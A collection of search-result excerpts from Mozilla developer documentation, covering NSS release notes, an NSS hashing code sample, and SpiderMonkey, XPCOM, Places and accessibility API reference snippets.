... nss 3.30.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_2_rtm/src/ new in nss 3.30.2 no new functionality is introduced in this release.
NSS 3.31.1 release notes
nss 3.31.1 requires netscape portable runtime (nspr) 4.15, or newer.
... nss 3.31.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_1_rtm/src/ new in nss 3.31.1 no new functionality is introduced in this release.
NSS 3.34.1 release notes
nss 3.34.1 requires netscape portable runtime (nspr) 4.17, or newer.
... new in nss 3.34 new functionality none new functions bugs fixed in nss 3.34.1 this bugzilla query returns all the bugs fixed in nss 3.34.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34.1 compatibility nss 3.34.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36.1 release notes
nss 3.36.1 requires nspr 4.19 or newer.
... nss 3.36.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_1_rtm/src/ new in nss 3.xx new functionality no new functionality is introduced in this release.
NSS 3.36.2 release notes
nss 3.36.2 requires nspr 4.19 or newer.
... nss 3.36.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_2_rtm/src/ new in nss 3.36.2 new functionality no new functionality is introduced in this release.
NSS 3.36.4 release notes
nss 3.36.4 requires nspr 4.19 or newer.
... nss 3.36.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_4_rtm/src/ new in nss 3.36.4 new functionality no new functionality is introduced in this release.
NSS 3.36.5 release notes
nss 3.36.5 requires nspr 4.19 or newer.
... nss 3.36.5 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_5_rtm/src/ new in nss 3.36.5 new functionality no new functionality is introduced in this release.
NSS 3.36.6 release notes
nss 3.36.6 requires nspr 4.19 or newer.
... nss 3.36.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_6_rtm/src/ new in nss 3.36.6 new functionality no new functionality is introduced in this release.
NSS 3.36.7 release notes
nss 3.36.7 requires nspr 4.19 or newer.
... new in nss 3.36.7 new functionality no new functionality is introduced in this release.
NSS 3.36.8 release notes
nss 3.36.8 requires nspr 4.19 or newer.
... new in nss 3.36.8 new functionality no new functionality is introduced in this release.
NSS 3.36 release notes
nss 3.36 requires nspr 4.19 or newer.
... nss 3.36 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_rtm/src/ (make a link) new in nss 3.36 new functionality experimental apis for tls session cache handling.
NSS 3.37.1 release notes
nss 3.37.1 requires nspr 4.19 or newer.
... nss 3.37.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_37_1_rtm/src/ new in nss 3.37.1 new functionality no new functionality is introduced in this release.
NSS 3.37.3 release notes
nss 3.37.3 requires nspr 4.19 or newer.
... nss 3.37.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_37_3_rtm/src/ new in nss 3.37.3 new functionality no new functionality is introduced in this release.
NSS 3.37 release notes
nss 3.37 requires nspr 4.19 or newer.
...nss now requires the sqlite apis of version 3.5.0 or newer.
NSS 3.40 release notes
nss 3.40 requires nspr 4.20 or newer.
... nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_rtm/src/ new in nss 3.40 new functionality the draft-00 version of encrypted sni support is implemented tstclnt now takes -n option to specify encrypted sni key new functions none notable changes in nss 3.40 the mozilla::pkix library has been ported from mozilla psm to nss.
NSS 3.41.1 release notes
nss 3.41.1 requires nspr 4.20 or newer.
... new in nss 3.41.1 new functionality no new functionality is introduced in this release.
NSS 3.42 release notes
nss 3.42 requires nspr 4.20 or newer.
... new in nss 3.42 new functionality bug 818686 - support xdg basedir specification new functions none notable changes in nss 3.42 the following ca certificates were added: none the following ca certificates were removed: none added support for some of the testcases from the wycheproof project: bug 1508666 - added aes-gcm test cases bug 1508673 - added chacha20-poly1305 test cases bug 1514999 - added the curve25519 test cases thanks to jonas ...
NSS 3.43 release notes
nss 3.43 requires nspr 4.21 or newer.
... new in nss 3.43 new functionality new functions in sechash.h hash_gethashoidtagbyhashtype - convert type hash_hashtype to type secoidtag in sslexp.h ssl_sendcertificaterequest - allow server to request post-handshake client authentication.
NSS 3.44.1 release notes
nss 3.44.1 requires nspr 4.21 or newer.
... new in nss 3.44.1 new functionality 1546229 - add ipsec ike support to softoken many new fips test cases (note: this has increased the source archive by approximately 50 megabytes for this release.) bugs fixed in nss 3.44.1 1554336 - optimize away unneeded loop in mpi.c 1515342 - more thorough input checking (cve-2019-11729) 1540541 - don't unnecessarily strip leading 0's from key material during pkcs11 import (cve-2019-11719) 1515236 - add a sslkeylogfile enable/disable flag at build.sh 1473806 - fix se...
NSS 3.44.2 release notes
nss 3.44.2 requires nspr 4.21 or newer.
... new in nss 3.44.2 no new functionality is introduced in this release.
NSS 3.44.3 release notes
nss 3.44.3 requires nspr 4.21 or newer.
... new in nss 3.44.3 no new functionality is introduced in this release.
NSS 3.44.4 release notes
nss 3.44.4 requires nspr 4.21 or newer.
... new in nss 3.44.4 no new functionality is introduced in this release.
NSS 3.44 release notes
nss 3.44 requires nspr 4.21 or newer.
... new in nss 3.44 new functionality new functions in lib/certdb/cert.h cert_getcertificateder - access the der-encoded form of a certcertificate.
NSS 3.46.1 release notes
nss 3.46.1 requires nspr 4.22 or newer.
... new in nss 3.46.1 no new functionality is introduced in this release.
NSS 3.47.1 release notes
nss 3.47.1 requires nspr 4.23 or newer.
... new in nss 3.47.1 no new functionality is introduced in this release.
NSS 3.48.1 release notes
nss 3.48.1 requires nspr 4.23 or newer.
... new in nss 3.48.1 no new functionality is introduced in this release.
NSS 3.48 release notes
nss 3.48 requires nspr 4.24 or newer.
... to mozilla::pkix::trustdomain::checkrevocation bug 1591363 - fix a pbkdf2 memory leak in nsc_generatekey if key length > max_key_len (256) bug 1592869 - use arm neon for ctr_xor bug 1566131 - ensure sha-1 fallback disabled in tls 1.2 bug 1577803 - mark pkcs#11 token as friendly if it implements ckp_public_certificates_token bug 1566126 - power ghash vector acceleration bug 1589073 - use of new pr_assert_arg in certdb.c bug 1590495 - fix a crash in pk11_makecertfromhandle bug 1591742 - ensure des iv length is valid before usage from pkcs#11 bug 1588567 - enable mozilla::pkix gtests in nss ci bug 1591315 - update nsc_decrypt length in constant time bug 1562671 - increase nss mp kdf default iteration count, by default for modern key4 storage, optionally for legacy key3.db storage bu...
NSS 3.49.1 release notes
nss 3.49.1 requires nspr 4.24 or newer.
... new in nss 3.49.1 no new functionality is introduced in this release.
NSS 3.49.2 release notes
nss 3.49.2 requires nspr 4.24 or newer.
... new in nss 3.49.2 no new functionality is introduced in this release.
NSS 3.52.1 release notes
nss 3.52.1 requires nspr 4.25 or newer.
... new in nss 3.52.1 no new functionality is introduced in this release.
NSS 3.53.1 release notes
nss 3.53.1 requires nspr 4.25 or newer.
... new in nss 3.53.1 no new functionality is introduced in this release.
NSS 3.53 release notes
nss 3.53 requires nspr 4.25 or newer.
...(bug 290526) seed is now moved into a new freebl directory freebl/deprecated (bug 1636389).
NSS 3.55 release notes
nss 3.55 requires nspr 4.27 or newer.
... bugs fixed in nss 3.55 bug 1631583 (cve-2020-6829, cve-2020-12400) - replace p384 and p521 with new, verifiable implementations from fiat-crypto and ecckiila.
NSS 3.56 release notes
nss 3.56 requires nspr 4.28 or newer.
... bug 1659814 - fix interop.sh failures with newer tls-interop commit and dependencies.
NSS Sample Code Sample_1_Hashing
ll if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if ...
...(i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (hty...
Hashing - sample 1
ll if the name if not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { ...
... if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for...
sample1
is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < le...
...n; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); ...
nss tech note8
the new approach was to use shared memory for the server session cache, and to allow multiple different server session caches to coexist.
... so, in nss 3.4, the global variables ssl3_sid_timeout and ssl_sid_timeout were intended to become the definitions for the client cache only, and each server cache had its own new pair of variables for ssl2 and ssl3 session lifetimes, i.e., cache->ssl2timeout and cache->ssl3timeout.
PKCS #11 Module Specs
a new ck_c_initialize_args structure is defined as typedef struct ck_c_initialize_args { ck_createmutex createmutex; ck_destroymutex destroymutex; ck_lockmutex lockmutex; ck_unlockmutex unlockmutex; ck_flags flags; ck_void_ptr libraryparameters; ck_void_ptr preserved; } ck_c_initialize_args; applications/libraries must set libraryparameters to null if no parameter value is specified.
... pkcs #11 libraries which accept parameters must check if the 'new' preserved field is null if and only if libraryparameters field is not null.
Build instructions
for rhel-5, you need to use the new assembler.
... you can install the new assembler as root as follows: yum install binutils220 you can then use the new assembler by adding /usr/libexec/binutils220 to the beginning of your build path.
FC_CopyObject
syntax ck_rv fc_copyobject( ck_session_handle hsession, ck_object_handle hobject, ck_attribute_ptr ptemplate, ck_ulong uscount, ck_object_handle_ptr phnewobject ); parameters hsession [in] session handle.
...phnewobject [out] pointer to location to receive the new object's handle.
FC_CreateObject
name fc_createobject - create a new object.
...phobject [out] pointer to location to receive the new objects handle.
ssltyp.html
when an application makes a copy of a particular certificate structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy.
...when an application makes a copy of a particular key structure that already exists in memory, ssl makes a deep copy--that is, it makes a whole new copy of that object.
NSS Tools
nss security tools newsgroup: mozilla.dev.tech.crypto overview the nss security tools allow developers to test, debug, and manage applications that use nss.
...this newsgroup is the preferred forum for all questions about nss and nss tools.
NSS Tools certutil-tasks
nss security tools: certutil tasks newsgroup: mozilla.dev.tech.crypto task list better error reporting.
... (bugfix) null password is given to new key3.db; should prompt user for an initial password.
NSS Tools cmsutil
using cmsutil newsgroup: mozilla.dev.tech.crypto the cmsutil command-line utility uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
...if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only).
Necko Interfaces Overview
http) maps uri string to nsiuri instance via newuri method creates nsichannel instance from nsiuri instance via newchannel method nsistreamlistener : nsirequestobserver implemented by the consumer of a nsichannel instance passed to nsichannel::asyncopen method nsirequestobserver::onstartrequest - notifies start of async download nsistreamlistener::ondataavailable - notifies presence of downloaded data nsirequestobserver::onstoprequest ...
...oad group when download completes load groups in gecko own all channels used to load a particular page (until the channels complete) all channels owned by a load group can be canceled at once via the load group's nsirequest::cancel method nsitransport represents a physical connection, such as a file descriptor or a socket used directly by protocol handler implementations (as well as by mailnews and chatzilla) synchronous i/o methods: openinputstream, openoutputstream asynchronous i/o methods: asyncread, asyncwrite nsitransport::asyncread takes a nsistreamlistener parameter original document information author(s): darin fisher last updated date: december 10, 2001 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; conten...
Proxies in Necko
nsiioservice the decision whether to use a proxy is made in nsioservice::newchannelfromuri.
...depending on the type of the proxy info, it either asks the http protocol handler or the protocol handler for the requested uri for a new channel with the nsiproxyinfo - if the channel supports nsiproxiedprotocolhandler.
Rhino Debugger
the selected file will be compiled and displayed in a new window.
...the loaded script will be run in a new thread and control will be given to the debugger on its first instruction.
Rhino FAQ
for instance, to create an array of java.lang.string of length five, do var stringarray = java.lang.reflect.array.newinstance(java.lang.string, 5); then if you wish to assign the string "hi" to the first element, simply execute stringarray[0] = "hi".
...for example, creating an array of seven ints can be done with the code var intarray = java.lang.reflect.array.newinstance(java.lang.integer.type, 7); when i try to execute a script i get the exception required security context missing.
Future directions
whenever practical, new code and changes should move code closer to the ideal future.
... practical coding bits experimental language features new language features (es6+) and apis often get added to spidermonkey while the spec is still being drafted, or before the feature has stabilized.
Hacking Tips
js> function f () { return 1; } js> dis(f); flags: loc op ----- -- main: 00000: one 00001: return 00002: stop source notes: ofs line pc delta desc args ---- ---- ----- ------ -------- ------ 0: 1 0 [ 0] newline 1: 2 0 [ 0] colspan 2 3: 2 2 [ 2] colspan 9 getting the bytecode of a function (from gdb) in jsopcode.cpp, a function named js::disassembleatpc can print the bytecode of a script.
...[new thread 0xf7903b40 (lwp 12563)] [new thread 0xf6bdeb40 (lwp 12564)] run#0 breakpoint 1, js::ion::codegenerator::link (this=0x86badf8) at /home/code/mozilla-central/js/src/ion/codegenerator.cpp:4780 4780 { (gdb) n 4781 jscontext *cx = getioncontext()->cx; (gdb) n 4783 linker linker(masm); (gdb) n 4784 ioncode *code = linker.newcode(cx, jsc::ion_code); (gdb) n 4785 ...
JS::AutoVectorRooter
bool resize(size_t newlength) resizes the array to newlength.
... bool reserve(size_t newlength) reserves the array with newlength.
JS::DeflateStringToUTF8Buffer
syntax // new in jsapi 52 void deflatestringtoutf8buffer(jsflatstring* src, mozilla::rangedptr<char> dst, size_t* dstlenp = nullptr, size_t* numcharsp = nullptr); // obsolete in spidermonkey 49 void deflatestringtoutf8buffer(jsflatstring* src, mozilla::rangedptr<char> dst); name type description src jsflatstring * the pointer to the string to deflate.
... examples char16_t uchars[] = { 0xd83e, 0xdd8a, 0 }; js::rootedstring str(cx, js_newucstringcopyn(cx, uchars, 2)); if (!str) return false; js::rooted<jsflatstring*> flatstr(cx, js_flattenstring(cx, str)); if (!flatstr) return false; size_t length = js::getdeflatedutf8stringlength(flatstr); char* buffer = static_cast<char*>(js_malloc(cx, length + 1)); if (!buffer) return false; js::deflatestringtoutf8buffer(flatstr, mozilla::rangedptr<char>(buffer, length)); buffer[length] = '...
JS::SetLargeAllocationFailureCallback
this article covers features introduced in spidermonkey 31 specify a new callback function for large memory allocation failure.
... cb js::largeallocationfailurecallback pointer to the new callback function to use.
JS::SetOutOfMemoryCallback
this article covers features introduced in spidermonkey 31 specify a new callback function for out of memory error.
... cb js::outofmemorycallback pointer to the new callback function to use.
JS::Value
as of spidermonkey 17, jsval is a typedef of js::value, and spidermonkey is gradually transitioning to a new c++ jsapi, at whose heart lies js::value.
... jsval is deprecated; new code should use js::value.
JSObjectOps.enumerate
the type of the callback is jsnewenumerateop.
... for native objects, the enumerate callback first checks the jsclass_new_enumerate flag of the object's class.
JSPrincipals
jsprincipals could be passed into the js engine through the js_newglobalobject function.
... see also mxr id search for jsprincipals js_newglobalobject js_holdprincipals js_dropprincipals bug 715417 - removed getprincipalarray and globalprivilegesenabled bug 728250 - added dump method, removed codebase, destroy, and subsume properties bug 884676 - changed refcount type to mozilla::atomic ...
JSResolveOp
note: jsnewresolveop provides a cheaper way to resolve lazy properties.
... see also mxr id search for jsresolveop jsclass jsnewresolveop bug 993026 ...
JS_AddFinalizeCallback
cb jsfinalizecallback pointer to the new callback function to use.
... obsolete since jsapi 32 js_setfinalizecallback sets a new callback function.
JS_Add*Root
js_addnamedvalueroot(jscontext *cx, jsval *vp, const char *name); jsbool js_addnamedstringroot(jscontext *cx, jsstring **spp, const char *name); jsbool js_addnamedobjectroot(jscontext *cx, jsobject **opp, const char *name); jsbool js_addnamedgcthingroot(jscontext *cx, void **rp, const char *name); name type description cx jscontext * the context in which to add the new root.
...s of the jsstring* variable to root opp jsobject ** (in js_addobjectroot and js_addnamedobjectroot) the address of the jsobject* variable to root rp void ** (in js_addgcthingroot and js_addnamedgcthingroot) the address of the jsstring* or jsobject* (not jsval) variable to root name const char * (in js_addnamedroot and js_addnamedrootrt) the name of the new root, or null.
JS_CompileScriptForPrincipals
the application is responsible for ensuring that the new compiled script is cleaned up later—either by calling js_destroyscript() directly or by calling js_newscriptobject(), in which case the garbage collector cleans up the script.
...the workaround is to use js_newscriptobject() to root each newly-compiled script, as described in the jsapi user guide under compiled scripts.
JS_DefineConstDoubles
syntax bool js_defineconstdoubles(jscontext *cx, js::handleobject obj, const jsconstdoublespec *cds); bool js_defineconstintegers(jscontext *cx, js::handleobject obj, const jsconstintegerspec *cis); // added in spidermonkey 38 name type description cx jscontext * the context in which to define the new properties.
... obj jsobject * object for which to create new properties.
JS_DestroyRuntime
js_destroyruntime garbage collects and frees the memory previously allocated by js_newruntime.
... see also mxr id search for js_destroyruntime js_newruntime ...
JS_GetExternalStringClosure
this article covers features introduced in spidermonkey 6 returns the string closure stored in a jsstring created by calling js_newexternalstringwithclosure.
...the result is null if the external string was created without one (that is, by calling js_newexternalstring rather than js_newexternalstringwithclosure).
JS_GetExternalStringFinalizer
description js_getexternalstringfinalizer returns the fin parameter passed to js_newexternalstring.
... see also mxr id search for js_ js_newexternalstring bug 724810 ...
JS_GetRuntime
each context is associated with a particular jsruntime when it is created (see js_newcontext); js_getruntime provides a convenient, programmatic way to look up the association.
... see also mxr id search for js_getruntime js_newcontext ...
JS_InternString
otherwise a new string is created and added to the table.
...see also mxr id search for js_internstring mxr id search for js_internstringn mxr id search for js_internucstring mxr id search for js_internucstringn js_getemptystringvalue js_newstringcopyn js_newstringcopyz js_newucstring js_newucstringcopyn js_newucstringcopyz js_valuetostring ...
JS_IsConstructing
js_isconstructing returns js_true if the native was defined with jsfun_constructor (js_initclass automatically sets that flag when defining a constructor) and it was called as a constructor, either from javascript, using the new keyword, or from c/c++ using a jsapi function such as js_constructobject.
...in the common case where a constructor should have the same behavior (creating a new object) whether it is called with the new keyword or not, it does not need to call js_isconstructing.
JS_MakeStringImmutable
description a string's characters can never be changed, but spidermonkey uses two string optimization techniques behind the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascript engine can reallocate so that concatenating it with another string is much faster.
... a dependent string (see js_newdependentstring) is a substring of another (growable, dependent, or immutable) string.
JS_NextProperty
get the next property id from an iterator object produced by js_newpropertyiterator.
... iterobj js::handleobject the opaque iterator object returned by a previous call to js_newpropertyiterator.
JS_NumberValue
replacement to js_newnumbervalue, js_newdoublevalue, js_newdouble.
...otherwise, a new floating-point js::value is created.
JS_SetPendingException
if an exception is already being thrown, it is replaced with the new one given.
... v is the new value to throw as an exception.
JS_SetPrototype
proto js::handleobject the object to set as the new prototype of obj.
...ordinarily you set a prototype for an object when you create the object with js_newobject, but if you do not set a prototype at that time, you can later call js_setprototype to do so.
JS_ShutDown
this method should be called after all other jsapi data has been properly cleaned up: every jsruntime created with js_newruntime must have been destroyed with js_destroyruntime, every jscontext created with js_newcontext must have been destroyed with js_destroycontext, and so on.
...see also mxr id search for js_shutdown js_init js_newruntime js_destroyruntime js_newcontext js_destroycontext ...
JS_updateMallocCounter
maxmallocbytes is initialized with maxbytes parameter of js_newruntime, and could be configured later by calling js_getgcparameter with jsgc_max_malloc_bytes.
... see also mxr id search for js_updatemalloccounter changeset 88cfae411a2a js_newruntime js_getgcparameter bug 517665 ...
Running Automated JavaScript Tests
creating new tests for jit-tests creating new tests for jit-tests is easy.
... just add a new js file to the tests/basic directory (or any appropriate directory under 'tests').
TPS Tests
set up an environment and run a test to run tps, you should create a new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you.
... for example, consider the first action in the phase above: [bookmarks.add, bookmarks_initial] you could rewrite this as a custom function so as to add some custom logging: [async () => { logger.loginfo("adding bookmarks_initial"); await bookmarks.add(bookmarks_initial); }] note that this is probably best used for debugging, and new tests that want custom behavior should add it to the tps addon so that other tests can use it.
WebReplayRoadmap
to that end, this document will be revised over time as we find new and better ways of helping developers.
... new features are possible with time travel, though, which would be nice to support: supporting the debugger's event breakpoints would allow searching the recording for places where particular dom events occur, and -- in the same manner as logpoints -- logging them to the console and allowing them to be seeked to later.
Redis Tips
> var r = require('redis').createclient(); // and i'll define these utility functions just for this example > function now() { return (new date()).gettime() / 1000 } > function print(err, results) { console.log(json.stringify(results, null, 2)) } whenever someone logs into my site, i record them in my 'last-login' zset.
... in the case where you want to do something akin to a join, like, say, associate an email and a remote url to store a browserid assertion, just make a new key.
Gecko object attributes
if not specified, the default should be considered "additions text", which indicates that newly created objects and changes to text and text equivalents should be considered relevant, and that the hiding or removal of items is not.
... applied to role_cell hypertext attributes formatting "block" if the object uses block formatting, and thus starts on a new line and ends with a hard line break that is not visible in the actual text.
AT APIs Support
examples of xul applications: firefox - web-browser thunderbird - email client seamonkey - web-browser, advanced e-mail and newsgroup client, irc chat client, and html editing made simple sunbird - cross-platform calendar application kompozer - a complete web authoring system for linux desktop, microsoft windows and macintosh users to rival programs like frontpage and dreamweaver.
... iaccessible2 (ia2) iaccessible2 is a new accessibility api which complements microsoft's earlier work on msaa.
Mork
MozillaTechMork
except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and comments (c++ or c style) can be ignored.
...the presence of an initial minus means to delete all cells before adding new cells.
Retrieving part of the bookmarks tree
first, you need to get an empty query and options objects from the history service: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); var options = historyservice.getnewqueryoptions(); var query = historyservice.getnewquery(); find the folder you want to get known folder ids are retrieved from the bookmarks service.
...complete code listing var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); var options = historyservice.getnewqueryoptions(); var query = historyservice.getnewquery(); var bookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; query.setfolders([toolbarfolder], 1); var result = historyservice.executequery(query, options); var rootn...
places.sqlite Database Troubleshooting
sqlite> .exit open a new shell for the new database: my_work_folder> sqlite3 places.sqlite sqlite> pragma integrity_check; if the result is not ok, the file cannot be recovered; stop here and please file a bug.
... nn must be replaced with the number we had noted previously: sqlite> pragma user_version = nn; let's update the page_size value: sqlite> pragma journal_mode = truncate; sqlite> pragma page_size = 32768; sqlite> vacuum; sqlite> pragma journal_mode = wal; sqlite> .exit copy the new places.sqlite to the profile folder, overwriting the existing one.
Places
it also includes new features including favicon storage and the ability to annotate pages with arbitrary information.
... it also introduces new user interfaces for managing all this information; see places on the mozilla wiki.
Binary compatibility
it is a possiblity that is introduced when upgrading to a new compiler without recompiling everything.
...comments and questions should be directed to the newsgroup, mozilla.dev.tech.xpcom, or the mailing list, mozilla-xpcom@mozilla.org.
XPCOM Glue without mozalloc
starting with xulrunner 2.0, the frozen linkage dependent glue (xpcomglue_s.lib on windows, libxpcomglue_s.a on linux and mac) is dependent on the new infallible memory allocation routines (mozalloc).
... this library is new in xulrunner 2.0, and it's identical to xpcomglue_s, except that it's compiled without mozalloc.
Using XPCOM Components
addsite add a new site to the whitelist.
...to instantiate an xpcom component in javascript, you create a new component object and pass in the contract id for the component you want and ask for either a singleton or an instance of that component to be returned: var cmgr = components.classes["@mozilla.org/cookiemanager;1"] .getservice(); the resulting cookiemanager object then provides access to all of the methods for that component that have been defined in idl and compiled into t...
How to build a binary XPCOM component using Visual Studio
note: wintools.zip seems old and lots of newer mdc documentation refers to moztools.zip archive, but the version of xpidl.exe that comes with the gecko-sdk crashes with the dll’s from moztools.
...use in javascript: function doxpcom() { try { const cid = "@starkravingfinkle.org/specialthing;1"; var obj = components.classes[cid].createinstance(); obj = obj.queryinterface(components.interfaces.ispecialthing); } catch (err) { alert(err); return; } var res = obj.add(3, 4); alert('3+4 = ' + res); var name = obj.name; alert('name = ' + name); obj.name = 'new name'; name = obj.name; alert('name = ' + name); } other resources creating xpcom components - mozilla how to build an xpcom component in javascript - mozilla an introduction to xpcom - ibm xpcom project page - mozilla ...
Components.utils.Sandbox
creating a sandbox to create a new sandbox, call components.utils.sandbox: var sandbox = components.utils.sandbox(principal[, options]); using new components.utils.sandbox(...) to create a sandbox has the same effect as calling sandbox(...) without new.
...this parameter is an object with the following optional properties: freshzone if true creates a new gc region separate from both the calling context's and the sandbox prototype's region.
Components.utils.exportFunction
this option is new in firefox 33.
...this option is new in firefox 34.
Components.utils.unload
this can be particularly handy with restartless (boostrapped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed.
... once this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a new reference.
Folders
there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and nsnewsfolder.
...folders have a number of interesting attributes: parent subfolder server uri flags and methods getdatabase ( how to get a database of the messages in the folder.) updatefolder (gets new messages for that folder, if applicable, e.g., pop3 inboxes, imap folders, news folders, rss folders) ...
Clone
asize [in] specifies the new size in bytes of the block of memory to allocate.
...otherwise, it returns a pointer to the newly allocated buffer.
IAccessibleValue
the argument is clipped to the valid interval whose upper and lower bounds are returned by the methods maximumvalue() and minimumvalue(), that is if it is lower than the minimum value the new value will be the minimum and if it is greater than the maximum then the new value will be the maximum.
... hresult setcurrentvalue( [in] variant value ); parameters value the new value represented by this object.
imgIDecoderObserver
this means that the frames no longer exist in decoded form, and any attempt to access or draw the image will initiate a new series of progressive decode notifications.
...if you're thinking of doing something new with this, please talk to bholley first.
imgIRequest
note: you should not use this in any new code; instead, use cancel().
...getstaticrequest() if this request is for an animated image, the method creates a new request which contains the current frame of the image.
mozIStorageFunction
nscomptr<mozistoragefunction> func = new squarefunction(); ns_ensure_true(func, ns_error_out_of_memory); nsresult rv = dbconn->createfunction( ns_literal_cstring("square"), 1, func ); ns_ensure_success(rv, rv); // run some query that uses the function.
... mozistorageaggregatefunction create a new sqlite aggregate function.
mozIStorageProgressHandler
mozistoragefunction create a new sqlite function.
... mozistorageaggregatefunction create a new sqlite aggregate function.
mozIStorageValueArray
mozistoragefunction create a new sqlite function.
... mozistorageaggregatefunction create a new sqlite aggregate function.
nsIAccessibleEditableText
the operations it supports includes setting text attributes and text contents while also replacing old text of an object with new text.
...the old attributes are replaced by the new list of attributes.
nsIAccessibleStates
for example, a user can click on the titlebar for the object and drag the object to a new location.
... state_haspopup 0x40000000 new in msaa 2.0.
nsIAccessibleText
text boundary constants constant value description boundary_char 0 boundary_word_start 1 boundary_word_end 2 boundary_sentence_start 3 do not use in new code.
... boundary_sentence_end 4 do not use in new code.
nsIAlertsService
for example, it can be used to notify the user that their downloads are complete or that they have new mail.
